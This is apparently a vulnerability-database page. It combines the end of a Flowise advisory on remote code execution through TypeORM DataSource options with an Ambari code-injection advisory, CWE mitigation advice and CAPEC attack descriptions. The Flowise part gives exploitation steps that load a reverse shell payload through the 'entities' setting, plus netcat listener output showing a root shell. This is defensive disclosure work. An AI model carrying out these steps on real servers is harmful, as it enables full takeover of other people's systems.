\"3206d8d3-944f-48c6-9332-11e2752b793e\"\n}\n```\n\u003c1\u003e The store ID that is required for a later step.\n\n4. Import the following Chatflow and configure the \"MySQL Record Manager\", \"OpenAI Embedding\" and \"Weaviate\" nodes.\n\n[typeorm-datasource-rce.json](https://github.com/user-attachments/files/26752045/typeorm-datasource-rce.json)\n\n5. Open the \"Additional Parameters\" window for the \"MySQL Record Manager\" node replace the placeholder values in the `additionalConfig.entities` setting. The `${HOME}` is the home directory of the user running the Flowise server (e.g., [`/root` on the published Docker image](https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff)). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.\n\n\u003cimg width=\"2229\" height=\"1148\" alt=\"mysql-datasource-config\" src=\"https://github.com/user-attachments/assets/f4351ee2-9761-458d-a2f8-cf21383394a2\" /\u003e\n\n6. Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.\n\n```\n$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 43421\nid\nuid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n```\n\n# III. Impact\n\nThis sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.\n\n# IV. Solution\n\nDo not allow users full control of the options for the TypeORM `DataSource` class. The following [`DataSource` options](https://typeorm.io/docs/data-source/data-source-options/) are considered dangerous and should not be allowed:\n\n* `extra`: Could be abused to provide dangerous driver options.\n* `entities`: Could be abused to load arbitrary JavaScript files.\n* `subscribers`: Could be abused to load arbitrary JavaScript files.\n* `migrations`: Could be abused to load arbitrary JavaScript files.",
"id": "GHSA-g32j-mmxr-gfq5",
"modified": "2026-08-04T14:28:04Z",
"published": "2026-08-04T14:28:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Flowise RCE via TypeORM DataSource"
}
GHSA-G359-P277-83P3
Vulnerability from github – Published: 2025-01-22 00:33 – Updated: 2025-01-22 15:32A remote code injection vulnerability exists in the Ambari Metrics and AMS Alerts feature, allowing authenticated users to inject and execute arbitrary code. The vulnerability occurs when processing alert definitions, where malicious input can be injected into the alert script execution path. An attacker with authenticated access can exploit this vulnerability to execute arbitrary commands on the server. The issue has been fixed in the latest versions of Ambari.
{
"affected": [],
"aliases": [
"CVE-2024-51941"
],
"database_specific": {
"cwe_ids": [
"CWE-75",
"CWE-77",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-21T22:15:12Z",
"severity": "HIGH"
},
"details": "A remote code injection vulnerability exists in the Ambari Metrics and \nAMS Alerts feature, allowing authenticated users to inject and execute \narbitrary code. The vulnerability occurs when processing alert \ndefinitions, where malicious input can be injected into the alert script\n execution path. An attacker with authenticated access can exploit this \nvulnerability to execute arbitrary commands on the server. The issue has\n been fixed in the latest versions of Ambari.",
"id": "GHSA-g359-p277-83p3",
"modified": "2025-01-22T15:32:33Z",
"published": "2025-01-22T00:33:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51941"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/xq50nlff7o7z1kq3y637clzzl6mjhl8j"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/01/21/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.